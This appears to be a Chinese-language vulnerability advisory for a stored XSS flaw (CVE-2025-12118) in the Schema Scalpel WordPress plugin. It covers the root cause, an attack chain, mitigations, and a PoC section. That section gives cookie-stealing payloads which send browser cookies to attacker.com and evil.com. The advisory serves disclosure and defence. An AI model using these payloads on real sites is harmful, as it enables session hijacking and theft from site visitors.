IPBUF安全漏洞报告
English
CVE-2025-12118 CVSS 6.4 中危

CVE-2025-12118 WordPress Schema Scalpel插件存储型XSS漏洞

披露日期: 2025-11-01

漏洞信息

漏洞编号
CVE-2025-12118
漏洞类型
存储型跨站脚本(Stored XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Schema Scalpel plugin for WordPress

相关标签

CVE-2025-12118存储型XSSStored Cross-Site ScriptingWordPress插件漏洞Schema ScalpelJSON-LD注入WordPress安全Contributor权限利用中危漏洞CVSS 6.4

漏洞概述

CVE-2025-12118是WordPress Schema Scalpel插件中存在的一个存储型跨站脚本(Stored XSS)漏洞。该插件用于生成JSON-LD结构化数据,帮助网站改善SEO效果。漏洞源于插件在处理文章标题时,未对用户输入进行充分的输入清理(sanitization)和输出转义(output escaping),导致恶意脚本被直接嵌入到JSON-LD schema标记中。攻击者利用此漏洞需要具备至少Contributor级别的账户权限,可以通过在文章标题中注入恶意JavaScript代码。当其他用户访问包含恶意代码的页面时,注入的脚本将自动执行,可能导致会话劫持、敏感信息窃取、恶意重定向等安全问题。此漏洞影响插件1.6.1及以下所有版本,CVSS评分6.4,属于中等严重程度。漏洞于2025年11月1日由Wordfence安全团队披露并公开。

技术细节

Schema Scalpel插件的存储型XSS漏洞存在于public/class-schema-scalpel-public.php文件的第146行和第183行附近。漏洞产生的根本原因是插件在生成JSON-LD结构化数据时,直接将WordPress文章标题(post title)输出到schema markup中,而未对其进行适当的HTML转义处理。攻击者(具有Contributor权限或更高)可以在创建或编辑文章时,在文章标题中插入恶意JavaScript代码,例如:<script>alert(document.cookie)</script>。由于插件直接将标题内容输出到JSON-LD的@type、name等字段中,而JSON-LD解析器不会对内容进行HTML编码,这些恶意脚本会被浏览器作为页面内容的一部分解析执行。攻击成功后,注入的脚本会在所有访问该文章的用户浏览器中执行,窃取认证cookies、会话令牌或其他敏感信息。攻击的利用条件相对简单,不需要任何用户交互(UI:N),攻击向量为网络(AV:N),但需要低权限认证(PR:L)。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress网站的Contributor或更高权限账户
STEP 2
步骤2
攻击者创建新文章或编辑现有文章,在文章标题中注入恶意JavaScript代码
STEP 3
步骤3
文章保存后,Schema Scalpel插件将包含恶意代码的标题写入JSON-LD schema标记
STEP 4
步骤4
受害用户访问包含恶意代码的文章页面
STEP 5
步骤5
浏览器解析页面时,执行嵌入在JSON-LD中的恶意脚本
STEP 6
步骤6
攻击者通过注入的脚本窃取用户cookies、会话令牌或其他敏感信息
STEP 7
步骤7
攻击者利用窃取的认证信息劫持用户会话或进行进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-12118 PoC - Stored XSS in Schema Scalpel Plugin // Author: Contributor-level attacker // Target: WordPress site with Schema Scalpel plugin <= 1.6.1 // Step 1: Create or edit a post with malicious title // Title payload: const maliciousTitle = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'; // Step 2: The payload will be embedded in JSON-LD like: // <script type="application/ld+json"> // { // "@context": "https://schema.org", // "@type": "Article", // "headline": "<script>fetch(\"https://attacker.com/steal?c=\"+document.cookie)</script>", // ... // } // </script> // Step 3: When victim visits the page, XSS executes // Example exploitation: const xssPayload = ` <img src=x onerror=" fetch('https://attacker.com/log?cookie=' + btoa(document.cookie)) .then(r => r.text()) .then(data => console.log('Stolen:', data)) "> `; // Alternative payload for session hijacking: const sessionHijackPayload = ` <script> document.write('<img src="https://evil.com/log?cookie=' + encodeURIComponent(document.cookie) + '">'); </script> `;

影响范围

Schema Scalpel plugin for WordPress <= 1.6.1

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时缓解措施:1)禁用或删除Schema Scalpel插件;2)使用Web应用防火墙(WAF)规则阻止包含<script>标签的请求;3)限制Contributor角色的文章发布权限,仅允许管理员级别创建内容;4)实施严格的输入验证,阻止文章标题中包含HTML标签;5)启用WordPress的自动更新功能,确保插件安全补丁及时应用。建议尽快升级到插件最新版本以彻底修复此漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表